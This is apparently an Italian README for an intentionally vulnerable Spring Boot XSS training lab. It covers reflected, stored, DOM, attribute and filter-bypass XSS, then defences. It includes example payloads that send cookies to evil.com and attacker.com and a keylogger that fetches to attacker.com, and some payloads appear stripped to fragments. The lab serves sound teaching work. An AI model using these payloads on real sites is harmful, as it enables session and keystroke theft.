Exploit for lab-xss

Name: Exploit for lab-xss
Rating: 5 (165 reviews)
2025-12-01 | CVSS 6.0
## https://sploitus.com/exploit?id=59B5FCC2-F3C6-535A-A721-908E4FD15CA3
# Cross-Site Scripting (XSS) Lab 🔒

Un laboratorio educativo completo per testare e comprendere le vulnerabilità Cross-Site Scripting (XSS) nelle applicazioni Java. Questo progetto dimostra approcci vulnerabili alla gestione dell'input utente utilizzando Spring Boot e Thymeleaf esclusivamente per scopi educativi.

## 🎯 Scopo del Progetto

Questo progetto è stato progettato per gli sviluppatori per:

- Comprendere i vettori di attacco XSS
- Imparare a identificare pattern di codice vulnerabili
- Analizzare le tecniche di attacco XSS
- Studiare le vulnerabilità di sicurezza nelle applicazioni web
- Implementare correttamente le difese contro XSS

## 📋 Prerequisiti

- **Java** 21 o superiore
- **Maven** 3.8.9 o superiore
- **Spring Boot** 3.5.7 (con Spring Web MVC e Thymeleaf)
- **Database** SQLite (embedded, in-memory)
- **Browser** Web Moderno (Chrome, Firefox, Edge, Safari) per accedere all'interfaccia web interattiva

## 🔍 Riepilogo Attacchi XSS

Questo progetto implementa **5 tipi di attacchi XSS** con implementazioni vulnerabili:

| Tipo di Attacco | Implementato | Esempio Payload | Impatto |
|----------------|--------------|-----------------|---------|
| **Reflected XSS** | ✅ Sì | `?name=alert('XSS')` | Esecuzione script immediata |
| **Stored XSS** | ✅ Sì | Commento: `document.location='http://evil.com?c='+document.cookie` | Persistente, colpisce tutti gli utenti |
| **DOM-based XSS** | ✅ Sì | `#` | Client-side, difficile da rilevare |
| **Advanced XSS** | ✅ Sì | `ipt>alert('XSS')` | Bypass di 5 filtri di sanitizzazione deboli |
| **Attribute XSS** | ✅ Sì | `href="javascript:alert('XSS')"` | Injection tramite attributi HTML |

## 🏗️ Struttura del Progetto

```
laboratorio-xss/
├── src/
│   ├── main/
│   │   ├── java/com/xsslab/
│   │   │   ├── App.java                                    # Punto di ingresso Spring Boot
│   │   │   ├── controllers/                                # Layer Controller (MVC separato per tipo XSS)
│   │   │   │   ├── WebViewController.java                  # Dashboard, profilo, ricerca, reset database
│   │   │   │   ├── ReflectedXssController.java             # Controller dedicato Reflected XSS
│   │   │   │   ├── StoredXssController.java                # Controller dedicato Stored XSS (commenti)
│   │   │   │   ├── DomXssController.java                   # Controller dedicato DOM-based XSS
│   │   │   │   ├── AdvancedXssController.java              # Controller dedicato Advanced XSS (5 filtri)
│   │   │   │   ├── AttributeXssController.java             # Controller dedicato Attribute XSS
│   │   │   │   └── UserController.java                     # API REST utenti e profili
│   │   │   ├── services/                                   # Layer Service (Business Logic)
│   │   │   │   ├── UserService.java                        # Logica business utenti/profili
│   │   │   │   ├── StoredXssService.java                   # Logica business commenti (Stored XSS)
│   │   │   │   └── AdvancedXssService.java                 # Logica 5 filtri deboli (Advanced XSS)
│   │   │   ├── repositories/                               # Layer Repository (Data Access)
│   │   │   │   ├── UserRepository.java                     # CRUD utenti
│   │   │   │   ├── CommentRepository.java                  # CRUD commenti (VULNERABILE)
│   │   │   │   └── ProfileRepository.java                  # CRUD profili
│   │   │   ├── config/
│   │   │   │   └── DataSourceDirectoryInitializer.java     # Inizializzatore directory database
│   │   │   └── utils/
│   │   │       └── DatabaseConnection.java                 # Utility connessione SQLite
│   │   └── resources/
│   │       ├── application.properties                      # Configurazione Spring Boot
│   │       ├── schema.sql                                  # Schema database SQLite
│   │       ├── static/                                     # Risorse statiche
│   │       │   ├── css/
│   │       │   │   ├── dashboard.css                       # Stili dashboard
│   │       │   │   └── attack-pages.css                    # Stili pagine XSS
│   │       │   └── js/
│   │       │       └── common.js                           # Funzioni JS comuni
│   │       └── templates/                                  # Template Thymeleaf
│   │           ├── dashboard.html                          # Dashboard con 5 card XSS
│   │           ├── reflected-xss.html                      # Reflected XSS (cookie stealing demo)
│   │           ├── stored-xss.html                         # Stored XSS (commenti persistenti)
│   │           ├── dom-xss.html                            # DOM-based XSS (manipolazione client-side)
│   │           ├── advanced-xss.html                       # Advanced XSS (5 filtri: simple, case-insensitive, blacklist, escape, protocol)
│   │           └── attribute-xss.html                      # Attribute XSS (href, src, event handlers)
│
├── data/                                                    # Directory database (creata automaticamente)
│   └── xsslab.db                                           # File database SQLite persistente
│
├── pom.xml                                                  # Configurazione Maven (Spring Boot 3.5.7, Java 21)
├── .gitignore                                               # Regole Git Ignore
└── README.md                                                # Documentazione progetto
```

## 🔄 Panoramica Architettura

Questo progetto utilizza un'architettura a tre livelli con implementazioni vulnerabili per scopi educativi, più un'interfaccia web interattiva per il testing:

### 🌐 ARCHITETTURA MVC SEPARATA PER TIPO XSS

```
Browser → GET /reflected-xss?name=alert('XSS')
    ↓
ReflectedXssController (@RequestMapping("/reflected-xss"))
    ↓
Template Thymeleaf (reflected-xss.html)
    ↓
th:utext rende HTML NON escaped → ⚠️ XSS eseguito!
```

### 🔴 PERCORSO STORED XSS (Architettura a 3 Layer)

```
POST /stored-xss/comments
    ↓
StoredXssController (@RequestMapping("/stored-xss"))
    ↓
StoredXssService (NON sanitizza)
    ↓
CommentRepository (Memorizza senza encoding)
    ↓
Database SQLite (Script malevolo memorizzato!)
    ↓
GET /stored-xss (tutti gli utenti)
    ↓
StoredXssService.getAllComments()
    ↓
Template Thymeleaf (th:utext)
    ↓
Browser ESEGUE script per TUTTI gli utenti
```

### 🎯 ADVANCED XSS (5 Filtri Deboli)

```
POST /advanced-xss?filterType=1&input=ipt>alert(1)
    ↓
AdvancedXssController
    ↓
AdvancedXssService.applyFilter(input, filterType)
    ├── Filter 1: Simple removal (replace once)
    ├── Filter 2: Case-insensitive ((?i) regex)
    ├── Filter 3: Event blacklist (onerror, onload, onclick)
    ├── Filter 4: HTML escape ( to &lt; &gt;)
    └── Filter 5: Protocol removal (javascript:)
    ↓
Template mostra: input originale, filtrato, e ESEGUE filtered con th:utext
    ↓
Bypass dimostrato con payload specifici per ogni filtro
```

## 🚀 Avvio Rapido

### 1. Compilare il Progetto

```bash
# Compilare senza eseguire i test
mvn clean package -DskipTests

# Compilare con i test
mvn clean package
```

### 2. Eseguire l'Applicazione

```bash
# Opzione 1: Usando Maven
mvn spring-boot:run -DskipTests

# Opzione 2: Eseguire il file JAR
java -jar target/xss-lab-1.0.0.jar
```

L'applicazione si avvierà su `http://localhost:8080`

### 3. Accedere all'Interfaccia Web 🌐

**URL Dashboard:** `http://localhost:8080`

#### Pagine di Attacco:

1. **Reflected XSS** - `/reflected-xss` - Script riflesso immediatamente + cookie stealing demo
2. **Stored XSS** - `/stored-xss` - Commenti persistenti con script eseguiti per tutti gli utenti
3. **DOM-based XSS** - `/dom-xss` - Manipolazione DOM client-side (innerHTML, document.write)
4. **Advanced XSS** - `/advanced-xss` - 5 filtri di sanitizzazione deboli con bypass dimostrati
5. **Attribute XSS** - `/attribute-xss` - Injection tramite attributi HTML (href, src, event handlers)

## 🔌 Endpoint API

### 🔴 Endpoint Vulnerabili ⚠️

Questi endpoint dimostrano vulnerabilità XSS senza sanitizzazione dell'input/output:

#### 1. Ottieni Utente per ID (Stored XSS)

```http
GET http://localhost:8080/users/{id}
```

**Esempio attacco:** Se username contiene `alert('XSS')`, viene restituito senza encoding.

#### 2. Cerca Utenti (Reflected XSS)

```http
GET http://localhost:8080/users/search?q={searchTerm}
```

**Esempio attacco:**
```http
GET http://localhost:8080/users/search?q=alert('XSS')
```

- **Risultato attacco:** Il parametro di ricerca viene riflesso nella risposta senza encoding

#### 3. Crea Commento (Stored XSS)

```http
POST http://localhost:8080/stored-xss/comments
Content-Type: application/x-www-form-urlencoded

userId=1&content=alert('Stored XSS')
```

**Esempi di attacco:**

```http
# Cookie Theft
content=new Image().src='http://attacker.com/steal?c='+document.cookie

# Keylogger
content=document.onkeypress=function(e){fetch('http://attacker.com/log?key='+e.key)}

# Page Defacement
content=document.body.innerHTML='HACKED!'
```

- **Risultato attacco:** Lo script viene memorizzato e eseguito per TUTTI gli utenti che visualizzano i commenti

#### 4. Ottieni Tutti i Commenti (Stored XSS)

```http
GET http://localhost:8080/comments
```

- **Risultato attacco:** Restituisce commenti con script non sanitizzati

#### 5. Aggiorna Profilo (Stored XSS)

```http
PUT http://localhost:8080/profile/{userId}
Content-Type: application/x-www-form-urlencoded

bio=alert('XSS')&website=javascript:alert('XSS')&location=
```

- **Risultato attacco:** Dati del profilo memorizzati senza sanitizzazione

#### 6. Echo Endpoint (Reflected XSS)

```http
GET http://localhost:8080/echo?message={message}
```

**Esempio attacco:**
```http
GET http://localhost:8080/echo?message=alert(document.cookie)
```

- **Risultato attacco:** Riflette qualsiasi input senza encoding

#### 7. Crea Utente (Stored XSS source)

```http
POST http://localhost:8080/users
Content-Type: application/x-www-form-urlencoded

username=&password=test123&email=test@test.com
```

- **Risultato attacco:** Username malevolo memorizzato nel database

## 🎯 Tipi di XSS Dimostrati

### 1. Reflected XSS

Injection diretta dove l'input malevolo viene immediatamente riflesso nella risposta HTTP.

**Esempio Attacco:**
```
GET /reflected-xss?name=alert('XSS')
```

**Rischio:** Esecuzione immediata di script, furto di cookie, phishing

### 2. Stored XSS (Persistent XSS)

Lo script malevolo viene memorizzato nel database e viene eseguito ogni volta che i dati vengono recuperati.

**Esempio Attacco:**
```
POST /stored-xss/comments
content=new Image().src='http://attacker.com?c='+document.cookie
```

**Rischio:** Colpisce TUTTI gli utenti che visualizzano i dati compromessi

### 3. DOM-based XSS

La vulnerabilità esiste nel codice JavaScript client-side che manipola il DOM con dati non sicuri.

**Esempio Attacco:**
```javascript
// URL: /dom-xss#
document.write(location.hash);  // ⚠️ VULNERABILE
```

**Rischio:** Difficile da rilevare, WAF non può bloccare

### 4. Advanced XSS (Filter Bypass)

Dimostra il bypass di 5 diversi tipi di filtri di sanitizzazione deboli.

**Filtri Implementati:**

1. **Simple Script Removal** - `replace("", "")` una sola volta
   - Bypass: `ipt>alert(1)` → dopo filtro diventa `alert(1)`

2. **Case-Insensitive Removal** - `replaceAll("(?i)", "")`
   - Bypass: `` (vettore alternativo)

3. **Event Handler Blacklist** - Rimuove `onerror`, `onload`, `onclick`
   - Bypass: `` (evento non in blacklist)

4. **HTML Escape** - Converte `` in `&gt;`
   - Bypass: Questo filtro è **effettivo** se applicato correttamente

5. **JavaScript Protocol Removal** - Rimuove `javascript:`
   - Bypass: `JaVaScRiPt:alert(1)` (case variation)

**Rischio:** I filtri blacklist sono sempre bypassabili

## ⚠️ Note Importanti sulla Sicurezza

> **⚠️ AVVERTIMENTO:** Questo progetto contiene codice intenzionalmente vulnerabile a scopi educativi. **NON usare questo codice in produzione!**

### Best Practices per Produzione:

1. **Output Encoding**: Usa sempre encoding appropriato per il contesto (HTML, JavaScript, URL, CSS)
2. **Content Security Policy (CSP)**: Implementa CSP header per bloccare script inline e non autorizzati
3. **HTTPOnly Cookies**: Proteggi i cookie di sessione con flag HTTPOnly e Secure
4. **Input Validation**: Valida e sanitizza TUTTI gli input utente
5. **Template Engine Safe**: Usa funzioni di template che eseguono auto-escaping (Thymeleaf `th:text`)
6. **Avoid innerHTML**: Usa `textContent` o `innerText` invece di `innerHTML`
7. **Security Headers**: Implementa X-XSS-Protection, X-Content-Type-Options
8. **Regular Updates**: Mantieni aggiornate le dipendenze per evitare vulnerabilità note
9. **Security Testing**: Esegui penetration testing e code review regolari

### Codice Sicuro vs Vulnerabile:

```java
// ⚠️ VULNERABILE
  // NON esegue escaping

// ✅ SICURO
   // Esegue HTML escaping automatico
```

```javascript
// ⚠️ VULNERABILE
element.innerHTML = userInput;  // Esegue script

// ✅ SICURO
element.textContent = userInput;  // NON esegue script
```

## 📊 Stack Tecnologico

| Tecnologia | Versione | Scopo |
|------------|----------|-------|
| Spring Boot | 3.5.7 | Framework Web |
| Java | 21 | Ambiente Runtime |
| SQLite | 3.49.1.0 | Database embedded |
| Maven | 3.8.9+ | Strumento Build |
| Thymeleaf | Latest | Template Engine |
| Font Awesome | 6.4.2 | Libreria Icone |

## 📝 Configurazione Applicazione

`application.properties`

```properties
spring.application.name=xss-lab
server.port=8080

# Database SQLite
spring.datasource.url=jdbc:sqlite:data/xsslab.db
spring.datasource.driver-class-name=org.sqlite.JDBC

# Inizializza schema database all'avvio
spring.sql.init.mode=always

# Thymeleaf - cache disabilitata per sviluppo
spring.thymeleaf.cache=false
```

## 🗄️ Schema Database

**Tabella Users**
```sql
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL UNIQUE,
    password TEXT NOT NULL,
    email TEXT NOT NULL,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
```

**Tabella Comments**
```sql
CREATE TABLE comments (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    user_id INTEGER NOT NULL,
    content TEXT NOT NULL,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id)
);
```

**Tabella Profiles**
```sql
CREATE TABLE profiles (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    user_id INTEGER NOT NULL UNIQUE,
    bio TEXT,
    website TEXT,
    location TEXT,
    avatar_url TEXT,
    FOREIGN KEY (user_id) REFERENCES users(id)
);
```

## 📚 Obiettivi di Apprendimento

Dopo aver lavorato con questo progetto, dovresti comprendere:

1. ✅ **Fondamenti XSS** - Cos'è XSS e come funziona
2. ✅ **Vettori di Attacco** - 5 diversi tipi di attacchi XSS
3. ✅ **Pattern Codice Vulnerabile** - Mancata sanitizzazione e encoding
4. ✅ **Differenze tra XSS** - Reflected vs Stored vs DOM-based vs Attribute
5. ✅ **Filter Bypass** - Perché i filtri blacklist falliscono (5 esempi)
6. ✅ **Output Encoding** - Quando e come encodare correttamente
7. ✅ **Content Security Policy** - Implementare CSP per mitigare XSS
8. ✅ **Secure Coding** - Best practices per prevenire XSS
9. ✅ **Testing XSS** - Come testare e identificare vulnerabilità XSS
10. ✅ **Architettura MVC** - Separazione controller/service/repository per tipo di attacco

## 🔧 Difese contro XSS

### 1. Output Encoding

```java
// ✅ Thymeleaf - Auto-escaping


// ✅ JavaScript
element.textContent = userInput;  // Sicuro
const encoded = encodeURIComponent(userInput);  // Per URL
```

### 2. Content Security Policy (CSP)

```java
// Aggiungere al Controller o Filter
response.setHeader("Content-Security-Policy", 
    "default-src 'self'; script-src 'self'; object-src 'none'");
```

### 3. HTTPOnly Cookies

```java
Cookie cookie = new Cookie("sessionId", sessionId);
cookie.setHttpOnly(true);  // ✅ Non accessibile da JavaScript
cookie.setSecure(true);    // ✅ Solo HTTPS
```

### 4. Input Validation

```java
// Validazione whitelist
public boolean isValidInput(String input) {
    return input.matches("^[a-zA-Z0-9 ]+$");  // Solo alfanumerici
}

// Sanitizzazione con librerie
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;

PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
String safe = policy.sanitize(untrustedHTML);
```

## 📚 Risorse Aggiuntive

- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- [OWASP Top 10 - A03:2021 Injection](https://owasp.org/Top10/A03_2021-Injection/)
- [Content Security Policy Reference](https://content-security-policy.com/)
- [DOMPurify Library](https://github.com/cure53/DOMPurify)
- [OWASP Java HTML Sanitizer](https://github.com/OWASP/java-html-sanitizer)

## 🤝 Contribuire

I contributi sono benvenuti! Sentiti libero di:

- Segnalare problemi o vulnerabilità
- Suggerire miglioramenti
- Aggiungere più casi di test
- Migliorare la documentazione

## 📄 Licenza

Questo progetto è fornito così com'è a scopi educativi.

## 👨‍💻 Autore

Creato come laboratorio educativo per il testing e l'apprendimento delle vulnerabilità XSS.

---

**⚠️ DISCLAIMER:** Questo progetto è solo per scopi educativi. Non utilizzare queste tecniche su sistemi reali senza autorizzazione esplicita.